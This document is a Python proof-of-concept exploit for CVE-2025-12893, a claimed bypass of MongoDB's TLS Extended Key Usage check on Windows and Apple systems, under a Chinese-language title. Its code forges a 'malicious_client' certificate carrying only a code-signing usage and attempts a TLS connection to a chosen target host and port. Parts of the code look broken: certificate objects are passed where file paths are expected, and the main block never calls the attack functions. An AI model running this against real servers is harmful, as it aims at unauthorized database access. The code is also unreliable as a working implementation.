CVE-2025-12893 MongoDB TLS证书扩展用途(EKU)验证缺陷

#!/usr/bin/env python3 """ CVE-2025-12893 PoC - MongoDB TLS EKU Validation Bypass Note: This PoC demonstrates the concept. Actual exploitation requires: 1. A certificate with EKU extension but missing clientAuth/serverAuth 2. Network access to target MongoDB instance 3. Target running on Windows or Apple platform """ import ssl import socket from cryptography import x509 from cryptography.hazmat.primitives import hashes from cryptography.hazmat.primitives.asymmetric import rsa from cryptography.x509.oid import ExtendedKeyUsageOID import datetime def generate_malicious_cert(): """Generate a certificate with EKU but missing clientAuth/serverAuth""" # Generate key key = rsa.generate_private_key(public_exponent=65537, key_size=2048) # Create certificate with EKU extension but missing proper auth usage subject = issuer = x509.Name([ x509.NameAttribute(x509.oid.NameOID.COMMON_NAME, "malicious_client"), ]) cert = ( x509.CertificateBuilder() .subject_name(subject) .issuer_name(issuer) .public_key(key.public_key()) .serial_number(x509.random_serial_number()) .not_valid_before(datetime.datetime.utcnow()) .not_valid_after(datetime.datetime.utcnow() + datetime.timedelta(days=365)) .add_extension( x509.ExtendedKeyUsage([ ExtendedKeyUsageOID.CODE_SIGNING, # Wrong EKU, missing clientAuth ]), critical=False, ) .sign(key, hashes.SHA256()) ) return cert, key def test_mongodb_connection(target_host, target_port, cert, key): """Attempt MongoDB connection with malicious certificate""" try: context = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT) context.verify_mode = ssl.CERT_REQUIRED context.load_cert_chain(cert, key) with socket.create_connection((target_host, target_port), timeout=10) as sock: with context.wrap_socket(sock, server_hostname=target_host) as ssock: print(f"[+] Successfully connected to {target_host}:{target_port}") print(f"[+] Certificate accepted despite missing clientAuth EKU") return True except Exception as e: print(f"[-] Connection failed: {e}") return False if __name__ == "__main__": print("CVE-2025-12893 - MongoDB TLS EKU Validation Bypass PoC") print("Target: MongoDB Server on Windows/Apple (Linux is NOT affected)") print("Usage: Update target_host and target_port, then run")